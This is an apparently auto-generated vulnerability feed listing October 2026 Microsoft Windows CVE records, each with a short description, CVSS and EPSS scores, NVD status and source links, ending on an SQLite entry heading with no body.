NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-70112
Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70112).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70112&date=2026-10-25).
Sources:
NVD CVE-2026-70112: https://nvd.nist.gov/vuln/detail/CVE-2026-70112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70112&date=2026-10-25
Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70110
Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70110).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70110&date=2026-10-25).
Sources:
NVD CVE-2026-70110: https://nvd.nist.gov/vuln/detail/CVE-2026-70110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70110&date=2026-10-25
Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70109
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70109).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70109&date=2026-10-25).
Sources:
NVD CVE-2026-70109: https://nvd.nist.gov/vuln/detail/CVE-2026-70109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70109&date=2026-10-25
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70096
Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70096).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70096&date=2026-10-25).
Sources:
NVD CVE-2026-70096: https://nvd.nist.gov/vuln/detail/CVE-2026-70096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70096&date=2026-10-25
Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70089
Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70089).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70089&date=2026-10-25).
Sources:
NVD CVE-2026-70089: https://nvd.nist.gov/vuln/detail/CVE-2026-70089
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70089&date=2026-10-25
Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70086
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70086).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70086&date=2026-10-25).
Sources:
NVD CVE-2026-70086: https://nvd.nist.gov/vuln/detail/CVE-2026-70086
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70086&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70068
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70068).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70068&date=2026-10-25).
Sources:
NVD CVE-2026-70068: https://nvd.nist.gov/vuln/detail/CVE-2026-70068
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70068&date=2026-10-25
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70064
Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70064).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70064&date=2026-10-25).
Sources:
NVD CVE-2026-70064: https://nvd.nist.gov/vuln/detail/CVE-2026-70064
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70064&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70062
Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70062).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70062&date=2026-10-25).
Sources:
NVD CVE-2026-70062: https://nvd.nist.gov/vuln/detail/CVE-2026-70062
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70062&date=2026-10-25
Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70060
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70060).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70060&date=2026-10-25).
Sources:
NVD CVE-2026-70060: https://nvd.nist.gov/vuln/detail/CVE-2026-70060
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70060&date=2026-10-25
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70059
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70059).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70059&date=2026-10-25).
Sources:
NVD CVE-2026-70059: https://nvd.nist.gov/vuln/detail/CVE-2026-70059
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70059&date=2026-10-25
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70056
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70056).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70056&date=2026-10-25).
Sources:
NVD CVE-2026-70056: https://nvd.nist.gov/vuln/detail/CVE-2026-70056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70056&date=2026-10-25
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70054
Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70054).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70054&date=2026-10-25).
Sources:
NVD CVE-2026-70054: https://nvd.nist.gov/vuln/detail/CVE-2026-70054
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70054&date=2026-10-25
Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70048
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70048).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70048&date=2026-10-25).
Sources:
NVD CVE-2026-70048: https://nvd.nist.gov/vuln/detail/CVE-2026-70048
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70048&date=2026-10-25
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70010
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70010).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70010&date=2026-10-25).
Sources:
NVD CVE-2026-70010: https://nvd.nist.gov/vuln/detail/CVE-2026-70010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70010&date=2026-10-25
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70008
Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70008).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70008&date=2026-10-25).
Sources:
NVD CVE-2026-70008: https://nvd.nist.gov/vuln/detail/CVE-2026-70008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70008&date=2026-10-25
Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70006
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70006).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70006&date=2026-10-25).
Sources:
NVD CVE-2026-70006: https://nvd.nist.gov/vuln/detail/CVE-2026-70006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70006&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69988
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69988).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69988&date=2026-10-25).
Sources:
NVD CVE-2026-69988: https://nvd.nist.gov/vuln/detail/CVE-2026-69988
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69988&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69987
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69987).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69987&date=2026-10-25).
Sources:
NVD CVE-2026-69987: https://nvd.nist.gov/vuln/detail/CVE-2026-69987
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69987&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69986
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69986).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69986&date=2026-10-25).
Sources:
NVD CVE-2026-69986: https://nvd.nist.gov/vuln/detail/CVE-2026-69986
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69986&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69966
Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69966).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69966&date=2026-10-25).
Sources:
NVD CVE-2026-69966: https://nvd.nist.gov/vuln/detail/CVE-2026-69966
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69966&date=2026-10-25
Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69964
Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69964).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69964&date=2026-10-25).
Sources:
NVD CVE-2026-69964: https://nvd.nist.gov/vuln/detail/CVE-2026-69964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69964&date=2026-10-25
Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69963
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69963).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69963&date=2026-10-25).
Sources:
NVD CVE-2026-69963: https://nvd.nist.gov/vuln/detail/CVE-2026-69963
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69963&date=2026-10-25
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69884
Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69884).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69884&date=2026-10-25).
Sources:
NVD CVE-2026-69884: https://nvd.nist.gov/vuln/detail/CVE-2026-69884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69884&date=2026-10-25
Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.
